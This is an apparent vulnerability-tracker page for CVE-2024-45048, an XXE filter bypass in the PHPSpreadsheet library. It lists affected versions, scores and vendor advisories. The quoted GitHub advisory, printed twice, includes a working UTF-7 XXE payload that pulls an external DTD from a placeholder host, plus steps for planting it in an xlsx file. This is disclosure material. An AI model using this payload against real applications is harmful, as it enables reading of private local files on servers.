CVE-2024-45048
published 2024-08-28CVE-2024-45048: PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an…
PriorityP434medium6.5CVSS 3.1
AVNACLPRNUIRSUCHINAN
EPSS
0.57%
42.9th percentile
PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.
Affected
15 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| drupal | loft_data_grids | — | — |
| phpoffice | phpexcel | 0 – 1.8.2 | — |
| phpoffice | phpspreadsheet | < 2.2.1 | 2.2.1 |
| phpoffice | phpspreadsheet | < 1.29.1 | 1.29.1 |
| phpoffice | phpspreadsheet | >= 0 < 1.29.1 | 1.29.1 |
| phpoffice | phpspreadsheet | >= 2.0.0 < 2.2.1 | 2.2.1 |
| phpoffice | phpspreadsheet | >= 2.0.0 < 2.1.1 | 2.1.1 |
| phpoffice | phpspreadsheet | >= 2.2.0 < 2.2.1 | 2.2.1 |
| pimcore | admin-ui-classic-bundle | >= 0 < 1.3.11 | 1.3.11 |
| pimcore | admin-ui-classic-bundle | >= 1.4.0 < 1.4.7 | 1.4.7 |
| pimcore | admin-ui-classic-bundle | >= 1.5.0 < 1.5.4 | 1.5.4 |
| pimcore | data-importer | >= 0 < 1.8.9 | 1.8.9 |
| pimcore | data-importer | >= 1.9.0 < 1.9.3 | 1.9.3 |
| pimcore | pimcore | >= 10.6.9.0 < 10.6.9.12 | 10.6.9.12 |
| pimcore | pimcore | >= 11.1.0.0 < 11.1.6.11 | 11.1.6.11 |
CVSS provenance
nvdv3.16.5MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
ghsa6.5MEDIUM
osv6.5MEDIUM
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
Pimcore includes vulnerable PHPOffice/PhpSpreadsheet
osv·2024-09-03·CVSS 6.5
CVE-2024-45048 [MEDIUM] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet
Pimcore includes vulnerable PHPOffice/PhpSpreadsheet
### Summary
Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: [GHSA-ghg6-32f9-2jp7](https://github.com/advisories/GHSA-ghg6-32f9-2jp7).
GHSA
Pimcore includes vulnerable PHPOffice/PhpSpreadsheet
ghsa·2024-09-03·CVSS 6.5
CVE-2024-45048 [MEDIUM] Pimcore includes vulnerable PHPOffice/PhpSpreadsheet
Pimcore includes vulnerable PHPOffice/PhpSpreadsheet
### Summary
Pimcore 10.6.x and Enterprise 10.6.x versions currently depend on PHPOffice/PhpSpreadsheet version 1.x, which has recently been identified with a security vulnerability (CVE-2024-45048). To mitigate this issue, it is recommended to update to the latest version 2.2.2. For more details, please refer to the official advisory: [GHSA-ghg6-32f9-2jp7](https://github.com/advisories/GHSA-ghg6-32f9-2jp7).
OSV
XXE in PHPSpreadsheet encoding is returned
osv·2024-08-29
CVE-2024-45048 [HIGH] XXE in PHPSpreadsheet encoding is returned
XXE in PHPSpreadsheet encoding is returned
### Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
### Details
Check ` $pattern = '/encoding="(.*?)"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this:
```
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
```
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
### PoC
1) Create simple xlsx file
2) Rename xlsx to zip
3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.
4) Replace `` to
```
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
GHSA
XXE in PHPSpreadsheet encoding is returned
ghsa·2024-08-29
CVE-2024-45048 [HIGH] CWE-611 XXE in PHPSpreadsheet encoding is returned
XXE in PHPSpreadsheet encoding is returned
### Summary
Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)
### Details
Check ` $pattern = '/encoding="(.*?)"/';` easy to bypass. Just use a single quote symbol `'`. So payload looks like this:
```
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>
```
If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.
### PoC
1) Create simple xlsx file
2) Rename xlsx to zip
3) Go to the zip and open the `xl/sharedStrings.xml` file in edit mode.
4) Replace `` to
```
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
Drupal
Loft Data Grids - Moderately critical - Multiple vulnerabilities - SA-CONTRIB-2024-054
vendor_drupal·2024-10-23
CVE-2024-45048 [MEDIUM] Loft Data Grids - Moderately critical - Multiple vulnerabilities - SA-CONTRIB-2024-054
Title: Loft Data Grids - Moderately critical - Multiple vulnerabilities - SA-CONTRIB-2024-054
Vulnerability Type: Multiple vulnerabilities
Description: This module provides serialization formats for use by other modules. The module includes a version of phpoffice/phpspreadsheet which has multiple known security vulnerabilities.
Solution: If you use the Loft Data Grids module for Drupal 7.x, install one of: Loft Data Grids 7.x-2.7 - which removes support for the XLSX format, as the patched version requires PHP 8. Loft Data Grids 7.x-3.0 - which includes XLSX support, by requiring PHP 8 and Composer installation. See the module's README-file for more information.
No detection rules found.
No public exploits indexed.
No writeups or analysis indexed.
2024-08-28
Published